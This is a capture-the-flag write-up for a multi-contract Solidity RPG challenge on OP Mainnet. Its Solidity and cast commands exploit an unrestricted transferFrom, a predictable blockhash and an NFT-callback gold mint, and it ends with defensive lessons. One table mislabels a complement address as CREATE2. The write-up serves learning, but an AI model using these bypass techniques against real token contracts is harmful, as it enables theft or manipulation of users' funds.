Skip to content
On this page

S2C12: Conquer The Game (RPG Multi-Contract)

1. Problem

This is the final boss of Season 2 — an RPG game system composed of 7 contracts. The player needs to "conquer the game" to satisfy the complex verification chain of mintFlag:

ContractOP Mainnet AddressFunction
Main (Challenge)0xac22A9b80bf87Cdb1f95efEb3F2A504f5039BE9dMain challenge, contains mintFlag
HeroNFT0x792ad60632A1A63DaDb14fEa9AC3c7FB944406C6ERC-721 hero NFT, customizable URI
GoldToken0x84710c7E262B09fa3aAF97F2741E7CE6Fb11A54bERC-20 gold, transfer has special restrictions
Inventory0x5f90e8c1205C448b81Ca57cffdca39bc3b0B35f4Inventory system, only owner (Main) can modify
Quest0xc555ce58bAD74a2E0CD289aE23225a80bf47e7e3Quest tracking
Dungeon0xd1A85e9e62387E8A4Ccb9baBab0Cd97d9E76B7deDungeon position, linked with Quest
Victory0x84503496E6ED4F68E84E4Ba6B4Fc5A4d4A4145d3Victory conditions

2. Cause

The contract system has the following key vulnerabilities:

2.1 GoldToken's transfer restriction can be bypassed via transferFrom

solidity
// GoldToken.transfer — has HeroNFT and Dungeon checks
function transfer(address to, uint256 amount) public override returns (bool) {
    require(hero.balanceOf(msg.sender) > 0, "Insufficient NFT balance");
    require(hero.balanceOf(msg.sender) < dungeon.dungeon(tx.origin), "Wrong NFT balance");
    _transfer(msg.sender, to, amount);
    return true;
}
// GoldToken.transferFrom — inherited from ERC20, no restrictions at all!
// Can be called directly to bypass all transfer checks

Key insight: Overriding transfer does not automatically protect transferFrom. This is a common pitfall in OZ ERC-20 inheritance.

2.2 GoldToken acquisition mechanism (onERC721Received callback)

The S2 NFTFlags contract's onERC721Received function mints GoldToken when receiving specific NFTs:

solidity
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
    external override returns (bytes4)
{
    uint256 anotherTokenId = _toUint256(data);  // ← decodes another tokenId from data
    require(msg.sender == address(this));        // only NFTFlags itself can call
    require(ownerOf(anotherTokenId) == from);     // from must own an S2C2 token
    require(tokenIdToChallengeId[anotherTokenId] == 2); // verify token is S2C2
    require(!tokensClaimed[tokenId]);             // carrier token not yet claimed
    safeTransferFrom(address(this), from, tokenId); // return carrier token
    tokensClaimed[tokenId] = true;
    GoldContract(goldTokenAddress).mint(from);    // mint 1000e18 GoldToken!
}

Dual Token Mechanism:

  • tokenId (carrier): transferred to NFTFlags then returned; must be any S2 NFT owned by the sender
  • anotherTokenId (verification): decoded from the data parameter; must be an S2C2 token (challengeId == 2), owned by the from address, but not transferred

2.3 mintFlag Verification Chain Analysis

solidity
function mintFlag(uint256 tokenId) public winner rich {
    // 1. Pull 1e18 GoldToken from caller to challenge contract
    gold.transferFrom(msg.sender, address(this), 1 ether);

    // 2. Parse inventory value from HeroNFT URI
    uint256 inventoryValue = stringToUint(hero.tokenURI(tokenId));
    inventory.setValue(inventoryValue);  // writes to inventory[tx.origin]

    // 3. Compute hash
    bytes32 hash = keccak256(abi.encodePacked(
        blockhash(block.number - 1),     // previous block hash (predictable within tx)
        address(this),                    // challenge contract address
        inventory.inventory(tx.origin)    // inventory value
    ));

    // 4-8. Multiple checks
    require(gold.balanceOf(msg.sender) == uint256(hash) % 100 ether); // balance = H
    require(balance == dungeon.getCurrentPosition());                 // balance = quest×dungeon
    require(gold.balanceOf(tx.origin) == gold.balanceOf(~tx.origin)); // friend vs foe equal balance
    require(gold.allowance(msg.sender, this) == inventory.inventory(tx.origin)); // allowance=inventory

    nftContract.mint(tx.origin, 12);  // mint flag!
}

stringToUint logic:

solidity
function stringToUint(string memory _s) public pure returns (uint256) {
    bytes memory b = bytes(_s);
    uint256 res = 0;
    for (uint256 i = 0; i < b.length; i++) {
        if (b[i] >= 0x30 && b[i] <= 0x39) {
            res = res * 10 + (uint256(uint8(b[i])) - 0x35); // digit char → value
        } else {
            return 0;  // non-digit returns 0 immediately
        }
    }
    return res;
}

Character '5' = 0x35 → 0x35 - 0x35 = 0. So when the URI is "5", inventoryValue = 0.

2.4 Complete Solution Architecture

        NEW_WALLET          ORIGINAL_WALLET         S2C12_SOLUTION
            |                      |                      |
   S1C1 ──→ |                      |                      |
   S2C2 ──→ |  (obtain S2C2 token) |                      |
            |                      |                      |
  safeTransferFrom ─→ GoldToken mint 1000e18              |
            |                      |                      |
  approve(Solution, max) ──────────|──────────────────→ |
            |                      |  solve(NEW_WALLET)  |
            |                      |──────────────────→ |
            |                      |    transferFrom(NEW → Solution)
            |                      |    mint HeroNFT("5")
            |                      |    fund complement(~ORIGINAL)
            |                      |    fund ORIGINAL
            |                      |    burn excess
            |                      |    dungeon/quest/victory setup
            |                      |    approve(challenge, 1e18)
            |                      |    challenge.mintFlag() ──→ 🏆

3. Solution

Step 1: Acquire GoldToken (requires S2C2 token)

solidity
// 1. Ensure you own an S2C2 token (challengeId == 2)
// 2. Need a carrier token (any other S2 NFT)

// 3. Call safeTransferFrom, sending the carrier token to NFTFlags, encoding S2C2 tokenId in data
//    The carrier token will be returned; the S2C2 token is only used for verification, not transferred
NFTFlags.safeTransferFrom(
    myAddress,       // from — must own the S2C2 token
    NFTFlags,        // to — NFTFlags itself (triggers onERC721Received)
    carrierTokenId,  // carrier token (any S2 NFT)
    abi.encode(s2c2TokenId)  // data = S2C2 tokenId
);
// → GoldToken mint 1000e18 to the from address

Step 2: Set up values and compute target balance

solidity
// 2a. Mint HeroNFT with URI = "5" (makes inventoryValue = 0)
uint256 heroTokenId = hero.mint("5");

// 2b. Compute target balance H
bytes32 hash = keccak256(abi.encodePacked(
    blockhash(block.number - 1),  // previous block hash
    address(challenge),           // challenge address
    uint256(0)                    // inventoryValue = 0
));
uint256 H = uint256(hash) % 100 ether;

Step 3: Manipulate GoldToken balances

solidity
// Use transferFrom to bypass transfer restrictions
gold.approve(address(this), type(uint256).max);  // self-approval
gold.transferFrom(goldSource, address(this), H + 1 ether + 2 ether);  // pull funds

// Distribute balances
gold.transferFrom(address(this), address(~bytes20(tx.origin)), 1 ether); // enemy
gold.transferFrom(address(this), tx.origin, 1 ether);                     // player

// Precise balance = H
uint256 currentBalance = gold.balanceOf(address(this));
if (currentBalance > H + 1 ether) {
    gold.burn(currentBalance - H - 1 ether);
}

Step 4: Set game state and execute

solidity
// Victory conditions
dungeon.setPosition(bytes32(uint256(1)));  // set non-zero value
victory.free(true);                          // mark victory

// Dungeon position = balance = H (makes balance == quest × dungeon)
quest.setCurrentQuest(1);
dungeon.setPosition(bytes32(H));

// Approve challenge to spend 1 ether (remaining allowance = 0 = inventoryValue after spend)
gold.approve(address(challenge), 1 ether);

// Execute!
challenge.mintFlag(heroTokenId);

4. Pitfalls Encountered

Pitfall 4.1: Confusion between onERC721Received's tokenId vs anotherTokenId

Symptom: When using the S2C2 token as the carrier token, the transaction reverts with "Not owner!".

Root cause: Misunderstanding the tokenId/anotherTokenId roles in the function. tokenId (carrier) is transferred first via _safeTransfer, causing ownerOf(tokenId) to become the new owner. Meanwhile, anotherTokenId (decoded from data) is not transferred — it is only used for verification.

Wrong understanding: anotherTokenId == tokenId (same token doing two things)
Correct understanding: anotherTokenId (verification) ≠ tokenId (carrier)

Pitfall 4.2: S2C2 token accidentally transferred to NFTFlags

Symptom: After using transferFrom to transfer the S2C2 token to NFTFlags during experimentation, GoldToken minting can no longer be triggered.

Wrong operation:

bash
# Wrong! Transferring S2C2 token to NFTFlags
cast send $NFT_FLAGS "transferFrom(address,address,uint256)" \
  $EOA $NFT_FLAGS 94  # Token 94 = S2C2 token

Consequences:

  • Token 94 now belongs to NFTFlags, not the original EOA
  • ownerOf(94) = NFTFlags, not equal to from (EOA)
  • onERC721Received check ownerOf(anotherTokenId) == from forever fails
  • Cannot use this EOA to trigger GoldToken mint

Pitfall 4.3: GoldToken transfer restriction

Symptom: Using gold.transfer() directly to transfer to the solution contract reverts with "Insufficient NFT balance".

Cause: GoldToken overrides transfer to require the caller holds a HeroNFT and the balance is less than the dungeon value.

Pitfall 4.4: transferFrom requires self-approval

Symptom: gold.transferFrom(address(this), target, amount) reverts with ERC20InsufficientAllowance.

Cause: ERC-20's transferFrom requires the from address to have approved msg.sender (i.e., the caller).

Pitfall 4.5: New wallet needs S1C1 registration

Symptom: Calling S2C2 from a new wallet reverts with "User address is not registered in Season 1".

Cause: S2 NFTFlags's mint function checks hasMinted[recipient][1] (S1C1 registration status).

Pitfall 4.6: forge create --broadcast fails on OP

Same forge bug as S2C7 — must use forge script to deploy contracts.

5. Pitfall Causes

Cause 5.1: ERC-721 _safeTransfer call order

OpenZeppelin ERC-721's _safeTransfer implementation:

solidity
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
    _transfer(from, to, tokenId);                        // ① transfer first!
    _checkOnERC721Received(from, to, tokenId, data);     // ② then callback
}

The transfer occurs before the callback. When onERC721Received executes, the tokenId (carrier) owner has already been updated to to (NFTFlags). But anotherTokenId (the verification token decoded from data) is not affected by this.

Cause 5.2: transferFrom is not overridden

In Solidity inheritance, overriding transfer does not affect transferFrom:

solidity
// GoldToken only overrides transfer
function transfer(address to, uint256 amount) public override returns (bool) {
    // ... custom checks ...
}

// transferFrom inherits from ERC20._transfer, no restrictions at all
// function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
//     _spendAllowance(from, msg.sender, amount);
//     _transfer(from, to, amount);  // directly calls internal _transfer, bypasses transfer override
// }

Core lesson: In OZ 5.x, override _update rather than transfer to ensure all token movement paths are covered.

Cause 5.3: Cross-contract state dependencies

mintFlag's 10 checks span 6 different contracts; any parameter miscalculation in any step causes an overall revert.

Cause 5.4: blockhash predictability

blockhash(block.number - 1) is known and deterministic at transaction execution time. Although it appears "random", it is computable within the same transaction and cannot be used as a secure randomness source.

Cause 5.5: onERC721Received's msg.sender check

NFTFlags's onERC721Received requires msg.sender == address(this). This is only true when:

  • ERC-721's safeTransferFrom sets to to NFTFlags itself
  • ERC-721 internally calls IERC721Receiver(to).onERC721Received with msg.sender = NFTFlags

Any direct external call fails because msg.sender is the caller, not NFTFlags.

6. How to Resolve

Solution 6.1: Use different tokens for carrier and verification

Correct flow:

One S2C2 token (metadata=2) → only for verification (anotherTokenId), not transferred
One arbitrary S2 NFT → serves as carrier (tokenId), round-trips between NFTFlags and user
bash
# Use token 104 (S2C2) for verification, token 95 as carrier
cast send $NFT_FLAGS \
  $(cast calldata "safeTransferFrom(address,address,uint256,bytes)" \
    $MY_ADDRESS $NFT_FLAGS 95 $(cast abi-encode "f(uint256)" 104))

Solution 6.2: Reacquire S2C2 token after losing it

Since the S2C2 token cannot be retrieved once transferred to NFTFlags:

  1. Create a new wallet
  2. New wallet completes S1C1 registration
  3. New wallet completes S2C2 (obtains a new S2C2 token)
  4. Transfer the carrier token to the new wallet
  5. New wallet triggers GoldToken mint
  6. New wallet approves the solution contract
  7. Original wallet calls the solution contract (making tx.origin = original wallet, flag minted to original wallet)

Solution 6.3: Use transferFrom instead of transfer

solidity
// Wrong: subject to transfer restrictions
gold.transfer(recipient, amount);

// Correct: bypass via self-approval + transferFrom
gold.approve(address(this), type(uint256).max);
gold.transferFrom(address(this), recipient, amount);

Solution 6.4: Standard self-approval pattern

solidity
// Self-approve during construction or initialization
function solve(address goldSource) external {
    // Must self-approve first
    gold.approve(address(this), type(uint256).max);

    // Then transferFrom can be used
    gold.transferFrom(goldSource, address(this), amount);
    gold.transferFrom(address(this), enemy, amount);
}

Solution 6.5: New wallet registration

bash
# Must first complete S1C1 registration
cast send $S1C1 "registerMe(string)" "name" --private-key $NEW_PK
# Then can complete S2C2
cast send $S2C2 "mintFlag(bytes32)" $KEY --private-key $NEW_PK

Solution 6.6: Use forge script

bash
forge script script/S2C12Deploy.s.sol:S2C12DeployScript \
  --rpc-url $RPC --private-key $PK --broadcast

7. Key Technical Points

7.1 Solidity / EVM

PointDetailed Description
ERC-20 transfer vs transferFromOverriding transfer does not protect transferFrom. In OZ 5.x, override _update instead
blockhash predictabilityblockhash(block.number - 1) is a deterministic value within a transaction; exploitable as a "randomness" source attack vector
stringToUint encodingCharacter minus 0x35→'5'→0; exploit this to set inventoryValue=0 and simplify calculations
Self-approval patternerc20.approve(address(this), max) + transferFrom(address(this), ...) is a standard technique for bypassing transfer restrictions
onlyOwner proxyInventory's setValue is onlyOwner, but the owner is the Main contract — Main indirectly writes to inventory via mintFlag

7.2 Cross-Contract Interactions

PointDetailed Description
Multi-contract RPG system7 contracts collaborating; state distributed across multiple addresses; requires atomic operations
onERC721Received callbackERC-721's safeTransferFrom triggers callback; msg.sender = the ERC-721 contract itself
CREATE2 conceptaddress(~bytes20(tx.origin)) is the bitwise complement address of tx.origin
Victory.winner dependencyRequires dungeon[tx.origin] > 0 to return true — must set dungeon first
Dungeon.getCurrentPosition= quest[tx.origin] × dungeon[tx.origin] — linkage between two contracts

7.3 Complete GoldToken Acquisition Flow

Prerequisites:
  ├─ One S2C2 token (challengeId=2, verification only, not transferred)
  └─ One carrier token (any S2 NFT, used for round-trip transfer)

Execution flow:
  1. safeTransferFrom(sender, NFTFlags, carrierId, abi.encode(s2c2Id))
     ├─ ERC-721: _transfer(sender, NFTFlags, carrierId)  [carrier → NFTFlags]
     └─ ERC-721: _checkOnERC721Received → NFTFlags.onERC721Received()
         ├─ anotherTokenId = decode(data) = s2c2Id
         ├─ msg.sender == address(this) ✓ (NFTFlags self-call)
         ├─ ownerOf(s2c2Id) == from ✓ (S2C2 token not transferred)
         ├─ tokenIdToChallengeId[s2c2Id] == 2 ✓
         ├─ !tokensClaimed[carrierId] ✓
         ├─ safeTransferFrom(NFTFlags, sender, carrierId) [carrier → returned]
         ├─ tokensClaimed[carrierId] = true
         └─ GoldToken.mint(sender) → 1000 × 10^18 GoldToken!

7.4 mintFlag Complete Verification Chain

modifier winner():
  └─ Victory.winner() → dungeon[tx.origin] > 0 && victory[tx.origin]

modifier rich():
  └─ GoldToken.balanceOf(~tx.origin) >= 1e18

mintFlag(tokenId):
  ① transferFrom(msg.sender → this, 1e18)
  ② inventoryValue = stringToUint(heroNFT.tokenURI(tokenId))
  ③ inventory.setValue(inventoryValue) → inventory[tx.origin]
  ④ hash = keccak256(blockhash(block.number-1), this, inventory[tx.origin])
  ⑤ balance == hash % 100e18
  ⑥ balance == dungeon.getCurrentPosition() (= quest × dungeon)
  ⑦ balanceOf(tx.origin) == balanceOf(~tx.origin)
  ⑧ allowance(msg.sender, this) == inventory[tx.origin]
  → nftContract.mint(tx.origin, 12) 🏆

7.5 Inter-Contract Dependency Diagram

                   ┌──────────┐
                   │ NFTFlags │ (S2 NFT management)
                   └────┬─────┘
                        │ mint()
         ┌──────────────┼──────────────┐
         │              │              │
    ┌────▼─────┐  ┌────▼─────┐  ┌─────▼──────┐
    │ Main C12 │  │ HeroNFT  │  │ GoldToken  │
    │ (Main)   │  │ (ERC721) │  │ (ERC20)    │
    └──┬──┬──┬─┘  └──────────┘  └──┬──┬──┬──┘
       │  │  │                      │  │  │
  ┌────▼┐ │  └──────────────┐       │  │  │
  │Inv. │ │                 │       │  │  │
  └─────┘ │  ┌────▼────┐  ┌─▼─────┐│  │  │
          │  │ Quest  │  │Dungeon││  │  │
          │  └────────┘  └──┬────┘│  │  │
          │                 │     │  │  │
          │            ┌────▼─────┴──┘  │
          │            │ Victory        │
          │            └───────────────┘

     ┌────▼─────┐
     │ S2C12 Flag│
     │ (token 105)│
     └──────────┘

7.6 Core Code Locations

  • Solution contract: solutions/season2/Challenge12Solution.sol
  • Deployment script: script/S2C12Deploy.s.sol
  • Reference source: ByteAtATime/bg-ctf src/season2/Season2Challenge12.sol
  • NFTFlags source: ByteAtATime/bg-ctf src/season2/Season2NFTFlags.sol
  • GoldToken acquisition tx: 0x812d16346b465996a26427a629ce8c2069830bc3fac4940f5d1b206cb8762cda
  • S2C12 completion tx: 0x9a3bfd2aa2d1597d36e1518087fe62b94148837f47cd2992de72a25e8fbef237
  • Flag Token ID: 0x69 (105)

One-line summary: ERC-20's transfer override does not protect transferFrom; GoldToken is acquired through the NFT callback mechanism; use the predictable blockhash to compute precise balances; atomically satisfy 10 distributed checks in a single transaction.

Built with AiAda